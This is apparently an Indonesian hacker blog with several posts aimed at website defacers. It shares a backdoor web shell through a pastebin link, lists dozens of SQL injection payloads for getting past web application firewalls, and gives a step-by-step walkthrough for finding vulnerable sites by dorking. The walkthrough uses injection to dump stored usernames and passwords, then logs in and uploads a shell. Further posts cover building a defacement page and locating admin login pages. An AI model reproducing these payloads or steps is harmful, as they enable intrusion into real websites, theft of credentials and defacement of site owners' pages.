Mastah Cyber

LamonganXploiter Shell

2018-04-19T01:05:00.000-07:00

Halo gan...

Kali ini saya akan share shell backdoor LamonganXploiter, shell ini dibuat oleh Cyberscry dan P4kl0nc4t.

Berikut fitur-fitur nya :

Config
SymConfig
Symlink
Jumping
Adminer
Fake Root
Cpanel Crack
Auto Edit User
Bypass etc/passwd
Whmcs Decoder
K-RDP Shell
SMTP Grabber
Dan masih banyak lagi

Dibawah ini adalah tampilan shell nya.

Kalian mau ? , kalian bisa copy script nya dibawah ini :

- https://pastebin.com/raw/en5tp4kX

*Note

Default pass : LAX

Kumpulan Bypass WAF SQLI

2018-04-14T16:34:00.000-07:00

Halo gan....

Kali ini saya akan share kumpulan bypass WAF SQLI, Sebelumnya kita bahas apa itu WAF , ya WAF adalah singkatan dari (Web Aplication Firewall) yang biasa digunakan sebagai firewall di website untuk keamanan website tersebut. Langsung saja.

Kumpulan Bypass WAF SQLI :

- Order By -

/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/

- Union Select -

/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?<ion sel="">+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

- Information Shema.tables -

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

- Concat -

CoNcAt()
concat()
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))

- Group Concat -

/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
CONVERT(group_concat(table_name)+USING+latin2)
CONVERT(group_concat(table_name)+USING+latin3)
CONVERT(group_concat(table_name)+USING+latin4)
CONVERT(group_concat(table_name)+USING+latin5)

Banyak kan?, Ga usah di hafal , jangan ambil pusing copy paste aja di blog ini :P.

SQLI Dengan DIOS

2018-04-14T07:33:00.000-07:00

Halo gan...

Kali ini saya kan memberi tutorial bagaimana cara Sql Injection dengan DIOS ( Dump In One Shot).Berikut Exploitnya :

MadBlood DIOS :
(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

ZEN with WAF DIOS:
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

Ya langsung saja :

1.Dorking,jika kalian tahu apa ini dork dan cara mengembangkan nya kalian bisa lihat disini

2.Nah setelah dorking pilih target. Saya sudah mendapatkan target, langsung saja kita cek apakah vuln atau tidak dengan cara memberi tanda kutip (') dibelakang url target kita ( target.com/news.php?id=1') apabila blank/ada tulisan sql bla bla berarti vuln, seperti gambar dibawah ini adalah blank.

3.Langsung saja kita cari ada berapa kolom nya dengan cara menambahkan,(+order+by+--+), sampai menemukan error contoh :

- target.com/news.php?id=1'+order+by+1--+ (tidak error)

- target.com/news.php?id=1'+order+by+2--+

(tidak error)

- target.com/news.php?id=1'+order+by+3--+ (error) , berarti kolomnya ada 2 jadi,

4. Kita tambahkan (+union+select+) target.com/news.php?id=-1'+union+select+1,2--+

5.Nah setelah ngelakuin yang diatas pasti nanti muncul angka, contohnya muncul angka 2, berarti,

target.com/news.php?id=-1'+union+select+1,EXPLOIT--+

6.Setelah itu nanti akan ada user:username,user:password dan yang lainnya contoh kita akan dump. Username,Password jadi ,

target.com/news.php?id=-1'+union+select+1,group_concat(username,0x3a,password)+from+user--+

7.Muncul deh username dan passwordnya , setelah itu kalian login menggunakan username dan password yang muncul itu upload shell deh :P.

Mudah bukan?, sekian tutorial kali ini sampai jumpa di tutorial berikutnya :P.

Cara Membuat Script Deface

2018-04-11T07:44:00.000-07:00

Halo gan.....

Kali ini saya akan memberi tutorial bagaimana cara membuat script deface kita sendiri dengan kode HTML, peralatan nya adalah hanyalah notepad atau program pengolah kata lainnya disini saya menggunakan notepad .Ya langsung saja :

1.Buat tag dasar dari HTML seperti di bawah ini.

<html>
<head>
</head>
<body>
</body>
</html>

2.Kita akan memberikan title dengan cara menambahkan di antara <head>
</head>, seperti dibawah ini.

<html>
<head>
<title>Hacked By Mastah Cyber</title>
</head>
<body>
</body>
</html>

3.Kita akan memberikan kata-kata atau tulisan dan warna background dengan cara menambahkan di antara <body></body>, seperti dibawah ini.

<html>
<head>
<title>Hacked By Mastah Cyber</title>
</head>
<body>
<body bgcolor="black">
<h1 style="color:red">Hacked by Mastah Cyber</h1>
<font face="courier new" size="3" color="red">Mastah Cyber</font>
</body>
</html>

4.Kita akan mencoba menambahkan gambar dengan cara menenpelkan url gambar yang kita inginkan seperti dibawah ini.

<html>
<head>
<title>Hacked By Mastah Cyber</title>
</head>
<body>
<center><img src="https://1.bp.blogspot.com/-qPS6IiERPWc/Ws4XT4S2__I/AAAAAAAAAFw/M-qan4QwcEcCvr7HRhJJ6eQDqb9sEUSigCLcBGAs/s400/1523455628-picsay.png"></center>
<body bgcolor="black">
<h1 style="color:red">Hacked by Mastah Cyber</h1>
<font face="courier new" size="3" color="red">Mastah Cyber</font>
</body>
</html>

5.Simpan kode tersebut dengan extensi file.html dan kita coba lihat hasilnya. Hasilnya seperti gambar dibawah ini.

Note*

Tulisan yang sudah saya beri warna merah itu bisa kalian ubah contohnya untuk background colour kalian bisa ubah menjadi red,blue,cyan dan sebagainya. Dan yang font face itu adalah jenis fontnya kalian juga bisa mengubahnya dan juga size adalah ukurannya.

Mudah bukan?. Sekian tutorial kali ini sampai jumpa :D.

Cara Mencari Admin Login

2018-04-10T22:17:00.002-07:00

Ya rata-rata kalian para defacer mungkin kesusahan mencari admin login kan.

Jadi kali ini saya akan memberi tutorial bagaimana cara mencari admin login dengan mudah ya langsung saja :

Dengan cara melakukan view source jadi kita melakukan view source pada web tersebut yaitu dengan cara "view-source:target.com".Nanti kalian akan melihat halaman login admin target kita seperti gambar di bawah.
Dengan cara dorking yaitu dengan dork : - Login site:target.com. seperti gambar dibawah.

Mudah bukan?.Sekian tutorial kali ini sampai jumpa di tutorial berikutnya :D.

Peretasan Youtube

2018-04-10T06:34:00.002-07:00

Sekarang youtube adalah korban dari peretasan. Karena hampir semua channel Penyayi ternama teretas oleh sekelompok hacker yang menamai mereka Prosox & Kuroi'SH.Salah satunya adalah channel Luis Fonsi "Despacito" ,Chris Brown, Shakira, Dj Snake, Drake, Selena Gomez, Taylor Swift dan Katy Perry menjadi korban peretasan. Peretas itu hanya mengubah judul lagu mereka dengan Hacked by prosox & kuroi'SH dan mengubah thumbnailnya dengan gambar geng yang memegang senjata.

Peretasan itu tidak jelas apakah peretas itu meretas akun individual atau mereka meretas akun VeVo. Akan tetapi salah satu dari mereka angkat bicara bahwa mereka menggunakan "script" untuk mengubah judul video tersebut.

Ya siapa yang tidak tahu dengan peretas yang bernama prosox & kuroi'SH beberapa tahun kebelakang mereka pernah meretas 9 situs subdomain NASA. Mungkin motif mereka adalah hanya merupakan tantangan dari orang-orang.

Akan tetapi peretas ini tidak merusak sepenuhnya , tetapi mereka telah membackup terlebih dahulu data-data penting, berikut penjelasan dari peretas :

Setelah peristiwa peretasan tersebut tim Google dan Youtube telah memberi tindakan kepada korban peretasan.

Cara Mengembangkan Dork SQLI

2018-04-10T02:45:00.000-07:00

Halo gan....

Kali ini saya akan memberi tutorial bagaimana cara mengembangkan dork SQLI.Sebelum ke tutorialnya mari kita bahas apa itu dork SQLI, dork sqli adalah untuk mencari website yang vuln terhadap bug sqli contohnya : "inurl:news.php?id=". Langsung saja kita lanjut ke tutorialnya.

1.Dengan cara di kombinkan/disatukan contohnya " inurl:detail.php?id=" dengan
"inurl:news.php?id=" disatukan menjadi "inurl:detailnews.php?id=". Dan yang kedua.

2.Dengan melihat benda yang ada disekitar kalian contohnya "inurl:car.php?id=" Atau yang sedang kalian lakukan contohnya kalaian sedang membaca , "inurl:read.php?id="

Nah mudah bukan?,sekian tutorial kali ini sampai jumpa. :D

Cara Reverse IP - Berbasis Website

2018-04-10T02:12:00.000-07:00

Halo gan...

Kali ini saya akan memberi tutorial bagaimana cara mereverse ip sebuah website.Sebelum ke tutorial nya saya akan menjelaskan sedikit tentang reverse ip , jadi fungsi reverse ip ini berfungsi untuk melihat web yang seserver dengan web yang kita reverse dan juga untuk melihat ip website tersebut.Langsung saja kita ke tutorialnya :

1.Buka Website "http://viewdns.info/reverseip/"
2.Salin alamat website yang akan kita reverse ip ke dalam form yang tersedia, seperti gambar dibawah ini.

3.Tekan Go.

4.Dan kalian akan melihat hasilnya yaitu berupa ip web tersebut dan website yang se server.

Mudah bukan?.Nah sekian tutorial kali ini sampai jumpa di tutorial berikutnya. :D